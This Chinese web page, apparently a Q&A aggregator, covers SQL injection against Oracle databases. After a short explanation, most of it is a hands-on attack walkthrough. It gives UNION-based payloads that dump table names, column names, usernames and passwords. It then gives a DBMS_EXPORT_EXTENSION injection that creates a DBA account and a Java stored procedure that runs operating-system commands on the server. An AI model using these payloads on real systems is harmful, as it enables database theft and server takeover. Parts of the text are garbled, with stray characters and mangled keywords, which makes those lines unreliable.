當前位置:首頁 » 數據倉庫 » oracle資料庫sql注入
擴展閱讀
webinf下怎麼引入js 2023-08-31 21:54:13
堡壘機怎麼打開web 2023-08-31 21:54:11

oracle資料庫sql注入

發布時間: 2023-08-04 09:33:06

sql注入攻擊的原理

sql注入攻擊的原理:SQL 注入(SQLi)是一種可執行惡意 SQL 語句的注入攻擊。這些 SQL 語句可控制網站背後的資料庫服務。攻擊者可利用 SQL 漏洞繞過網站已有的安全措施。他們可繞過網站的身份認證和授權並訪問整個 SQL 資料庫的數據。他們也可利用 SQL 注入對數據進行增加、修改和刪除操作。

為了發起 SQL 注入攻擊,攻擊者首先需要在網站或應用程序中找到那些易受攻擊的用戶輸入。這些用戶輸入被有漏洞的網站或應用程序直接用於 SQL 查詢語句中。攻擊者可創建這些輸入內容。這些內容往往被稱為惡意載體,它們是攻擊過程中的關鍵部分。隨後攻擊者將內容發送出去,惡意的 SQL 語句便會在資料庫中被執行。

② oracle資料庫的sql注入攻擊有哪些

針對Oracle資料庫的SQL注入攻擊主要有下面4類:
1、SQL篡改
2、租逗廳代碼注入
3、函數調用指並注入
4.、緩弊隱沖區溢出

③ sql 注入 oracle 常見的庫有哪些

目錄:
0x00:判斷資料庫類型
0x01:獲取基本信息
0x02:得到當前庫所有表名
0x03:得到所有列名
0x04:獲取列中數據
0x05:獲取所有資料庫
0x06:森此利用ORACLE的systeminfo許可權拿下伺服器下面是正文:
判斷注入,我就不說了,大家都很熟悉了,and 1=1和and 1=2 ,當然我們這篇文章是建立在有注入的前提下,如果沒找到的話,請直接略過。
當我們找到注入點的話,一般類似與asp/php/aspx?id=1這樣此仿迅的形式,(我沒見過其他兩種,見過的都是asp+oracle這種奇葩),在後面加註釋符–,如果返回正常的話,大致可以判斷資料庫類型是mssql或者oracle,之後在根據oracle裡面所特有的表查詢
例如:and exist(select * from al) 或者and exists(select * from user_tables)
利用的原理是al表和user_tables表是oracle中的系統表
返回正常,那麼就可以肯定這是oracle了,接下來你就要抓狂了,因為oracle 注入工具不多。只能手工了。0×01 獲取基本信息1. 判斷過注入了,接下來就看有幾個欄位了,同樣可以使用oder by N 根據返回頁面判斷,這里不再贅述,由於oracle中對於欄位類型要求很嚴格,所以在union查詢之前,我們首先要確定欄位類型,可以用如下語句and 1=2 union select NULL,NULL,……,NULL from al–中間省略
然後將第一個NULL替換成1
這樣就成了and 1=2 union select 1,NULL,……,NULL from al–中間省略
如果正確,則說明在資料庫中這個欄位是數字類型,如果在當前頁有此列數據,則也會在當前頁特定位置顯示。
如果錯誤,這將其替換成and 1=2 union select 『1』,NULL,……,NULL from al–中間省略
返回正常則說明此列是字元類型了。在下文中,我們假設為數字型,並且有6個欄位
2. 接下來,我們獲取資料庫版本and 1=2 union select 1,2,(select banner from sys.v_$version where rownum=1),4,5,6 from al
這里使用了sql語句的嵌套,然後在可以顯示的位置,查詢sys.v_$version,返回banner信息大升,同時也是資料庫版本信息
3. 然後獲取操作系統版本and 1=2 union select 1,2,( select member from v$logfile where rownum=1),4,5,6 from al
3. 獲取連接資料庫的當前用戶and 1=2 union select 1,2,( select SYS_CONTEXT (『USERENV』, 『CURRENT_USER』)from al),4,5,6 from al
現在伺服器的基本信息,我們已經可以得到了,那麼接著往下走,你應該知道該干什麼了。0×02 獲取當前庫中所有表名and 1=2 union select 1,2,( select table_name from user_tables where rownum=1),4,5,6 from al
oracle中資料庫中所有的表都是保存在user_tables這張表中,這樣我們就獲得了第一個表名,假設是news 接下來再來獲取第二個and 1=2 union select 1,2,( select table_name from user_tables where rownum=1 and table_name<>』news』),4,5,6 from al
這樣就得到了第二個表名,我們假設是manage 然後以此類推就可以得到所有的表名0x03:得到所有列名and 1=2 union select 1,2,( select column_name from user_tab_columns where table_name=』manage』 and rownum=1),4,5,6 from al
系統表多了就是這種好處,什麼都可以去系統表中找到,如果再碰上盲注,那不哭了。
然後才查詢第二個表名,假設第一個得到的是usernameand 1=2 union select 1,2,( select column_name from user_tab_columns where table_name=』manage』 and rownum=1 and column_name<>』username』),4,5,6 from al
這樣第二個就出來了,架設是password 同樣是依次類推即可得到所有的列名0x04:得到列中數據
查詢指定列中數據沒什麼好說的,就像其他資料庫一樣and 1=2 union select 1,2,username,4,5,6 from manage
and 1=2 union select 1,2,password,4,5,6 from manage
這樣用戶名,密碼都可以得到了0x05:獲取所有資料庫
這種情況是存在你需要跨褲的情況下,其實一般情況下用不到,至於原因嘛,由各位看官自己體味了。
先來爆出第一個資料庫名and 1=2 union select 1,2,(select owner from all_tables where rownum=1),4,5,6 from al
然後第二個,假設第一個是current_dband 1=2 union select 1,2,(select owner from all_tables where rownum=1 and owner<>』current_user』),4,5,6 from al
然後就不用我說了吧,各位應該都很熟悉了。0x06:利用ORACLE的systeminfo許可權拿下伺服器
oracle本身經常是已system運行的,所以拿下了oracle基本拿下了伺服器了
1. 首先是添加賬戶,利用的命令如下:and 『』||SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(『FOO』,'BAR』,'DBMS_OUTPUT」.PUT(:P1);EXECUTE IMMEDIATE 」DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE 」」Create USER linux IDENTIFIED BY linux」」;END;」;END;–』,'SYS』,0,』1′,0)=」—
2. 查看賬戶是否添加成功and」||(select user_id from all_users where username=』linux』)
3. 接下來是把我們建立的用戶加入到dba中and」||SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(『FOO』,'BAR』,'DBMS_OUTPUT」.PUT(:P1);EXECUTE IMMEDIATE 」DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE 」」grant linux to rebeyond」」;END;」;END;–』,'SYS』,0,』1′,0)=」—
4. 之後沒得說了就是為我們建立的用戶賦予遠程連接的許可權and」||(select SYS.DBMS_EXPORT_EXTENSION.GET.DOMAIN_INDEX_TABLES(『FOO』,'BAR』,'DBMS_OUTPUT」.PUT(:P1);EXECUTE IMMEDIATE 」 DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE 」 」 GRANT CONNECT to linux 」 」;END;–』,SYS』,0,』1′,0) from alp
下面就遠程連接了,連接之後需要建立存儲過程
第一步:create or replace and compile
java souRCe named 「util」
as
import java.io.*;
import java.lang.*;
public class util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int RC = -1;
try
{
Process p = rt.exec(args);
int bufSize = 4096;
BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer, 0, bufSize)) != -1)
System.out.write(buffer, 0, len);
RC = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
RC = -1;
}
finally
{
return RC;
}
}
}
第二步: www.2cto.com
create or replace
function RUN_CMz(p_cmd in varchar2) return number
as
language java
name 『util.RunThis(java.lang.String) return integer』;
第三步:
create or replace procere RC(p_cmd in varChar)
as
x number;
begin
x := RUN_CMz(p_cmd);
end;
創建完之後,就可以通過x := RUN_CMz(dos命令)來執行系統命令了